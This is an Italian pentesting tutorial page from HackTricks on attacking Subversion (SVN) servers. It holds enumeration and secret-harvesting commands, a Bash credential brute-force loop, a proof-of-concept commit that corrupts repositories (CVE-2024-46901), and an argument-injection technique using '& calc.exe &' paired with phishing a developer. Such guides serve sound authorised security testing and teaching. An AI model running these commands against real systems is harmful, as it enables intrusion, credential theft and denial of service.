3690/tcp - Pentesting Subversion (SVN) Server
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
Subversion (SVN) è un sistema di version control centralizzato (licenza Apache) utilizzato per la gestione delle versioni del software e il controllo delle revisioni.
Porta predefinita: 3690/tcp (svnserve). Può anche essere esposto tramite HTTP/HTTPS tramite mod_dav_svn e via svn+ssh.
PORT STATE SERVICE
3690/tcp open svnserve Subversion
Banner Grabbing
nc -vn 10.10.10.10 3690
svnserve --version # if shell access is obtained
svn --version # client version leak via error messages
Enumerazione
# Anonymous / authenticated listing
svn ls svn://10.10.10.203 # list root
svn ls -R svn://10.10.10.203/repo # recursive list
svn info svn://10.10.10.203/repo # repo metadata
svn log svn://10.10.10.203/repo # commit history
svn checkout svn://10.10.10.203/repo # checkout repository
svn up -r 2 # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo # view changes
# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''
# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo
Auth & Misconfig Hunting
svnserve.confpuò consentireanon-access = read(o anche write). Se riesci a elencare, provacheckoutper esfiltrare segreti, script e CI tokens.- I repository spesso memorizzano pipeline di build, deployment keys e credenziali del database in file di configurazione versionati. Grep la working copy dopo il checkout:
grep -R "password\|secret\|token" -n .. - Se svn+ssh è abilitato, le shell utente spesso consentono comandi
svnserverestritti; provassh user@host svnserve -tcon sottocomandi costruiti per bypassare i wrapper.
Bruteforcing credentials (svnserve)
sasl authentication (se abilitata) e semplici file di password sono protetti solo dal trasporto; nessun blocco di default. Un rapido Bash loop può provare le credenziali:
for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done
Vulnerabilità recenti (impatto pratico)
mod_dav_svn DoS tramite caratteri di controllo (CVE-2024-46901)
- Un utente con diritti di commit può scrivere un percorso contenente caratteri di controllo (es.
\x01,\x7f) che corrompe il repository, facendo sì che successivi checkouts/logs falliscano e potenzialmente causando il crash dei worker dimod_dav_svn. - Colpisce Subversion ≤ 1.14.4 quando servito tramite HTTP(S) (
mod_dav_svn). Corretto in 1.14.5. - PoC commit con
svnmucc(richiede credenziali di commit valide):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
- Dopo il commit, i client normali possono andare in crash o rifiutare gli aggiornamenti fino a quando gli amministratori non rimuovono manualmente la revisione con
svnadmin dump/filter/load.
Injection di argomenti su Windows nel client svn (CVE-2024-45720)
- Su Windows, la codifica dei caratteri “best-fit” in
svn.exepermette command-line argument injection quando vengono elaborati percorsi/URL non‑ASCII appositamente creati, potenzialmente portando a esecuzione arbitraria di programmi. - Colpisce Subversion ≤ 1.14.3 solo su Windows; corretto in 1.14.4. Superficie d’attacco: phishing a uno sviluppatore per fargli eseguire
svnsu un URL/percorso controllato dall’attaccante. - Pentest angle: se controlli una condivisione di rete o uno ZIP fornito a un dev Windows, dai al repo URL o al percorso della working-copy un nome che contenga byte best-fit che decodificano in argomenti iniettati in stile
" & calc.exe & ", poi inganna la vittima a eseguiresvn statuso comandi simili su quel percorso.
Note per il workflow di exploitation
- Controlla il metodo di accesso:
svn://(svnserve),http(s)://.../svn/(mod_dav_svn), osvn+ssh://. - Prova la lettura anonima per prima; poi spray common creds. Se viene usato HTTP Basic, riutilizza creds trovate altrove.
- Enumerate hooks:
hooks/pre-commit,post-commitscripts a volte contengono credenziali in chiaro o nomi host. - Leverage
svn:externalsper tirare altri percorsi da altri host; elencali consvn propget svn:externals -R .dopo il checkout. - Version leaks: gli header di risposta HTTP di
mod_dav_svndi solito mostrano la versione di Subversion & Apache; confronta con 1.14.5 per individuare target vulnerabili. - Se ottieni accesso al filesystem del repo,
svnadmin dump/svnlook author/svnlook dirs-changedconsentono analisi offline senza credenziali.
Riferimenti
- Apache Subversion security advisory CVE-2024-46901
- Apache Subversion security advisory CVE-2024-45720
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


